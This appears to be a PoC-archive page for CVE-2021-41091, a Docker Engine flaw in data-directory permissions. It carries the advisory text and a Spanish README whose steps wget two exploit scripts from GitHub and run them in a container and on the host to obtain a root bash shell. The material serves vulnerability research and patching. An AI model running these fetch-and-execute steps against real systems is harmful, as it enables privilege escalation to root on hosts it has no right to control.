Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-41091 PoC — Insufficiently restricted permissions on data directory in Docker Engine

Source
Associated Vulnerability
Title:Insufficiently restricted permissions on data directory in Docker Engine (CVE-2021-41091)
Description:Moby is an open-source project created by Docker to enable software containerization. A bug was found in Moby (Docker Engine) where the data directory (typically `/var/lib/docker`) contained subdirectories with insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as `setuid`), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files. This bug has been fixed in Moby (Docker Engine) 20.10.9. Users should update to this version as soon as possible. Running containers should be stopped and restarted for the permissions to be fixed. For users unable to upgrade limit access to the host to trusted users. Limit access to host volumes to trusted containers.
Readme
# CVE-2021-41091

Un bug en Moby (Docker Engine) permite a usuarios sin privilegios atravesar directorios y ejecutar programas directamente del docker en la maquina principal, si en el docker existe un progrma suid el usuario lo podra ejecutar como suid en la maquina principal

## PoC

En la terminal del contenedor descargamos el archivo ```docker.sh```, luego lo ejecutamos como usuario root:
```bash
wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh
chmod +x docker.sh
./docker.sh
```
Ahora en la maquina principal descargamos el archivo ```principal.sh``` y lo ejecutamos:
```bash
wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/principal.sh
chmod +x principal.sh
./principal.sh
```

Ejecutamos el comando que nos dara el archivo y seremos capaces de ejecutar la /bin/bash como root

## Notas

Estos scripts fueron probados en Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64) con la version de Moby 20.10.5+dfsg1

EL USO DE ESTE REPOSITORIO ES RESPONSABILIDAD DE QUIEN LO UTILICE Y NO DE EL AUTOR
File Snapshot

[4.0K] /data/pocs/8bc5b6ce8a995af38e27717a54165040a58f8616 ├── [ 208] docker.sh ├── [1.0K] LICENSE ├── [ 460] principal.sh └── [1.0K] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →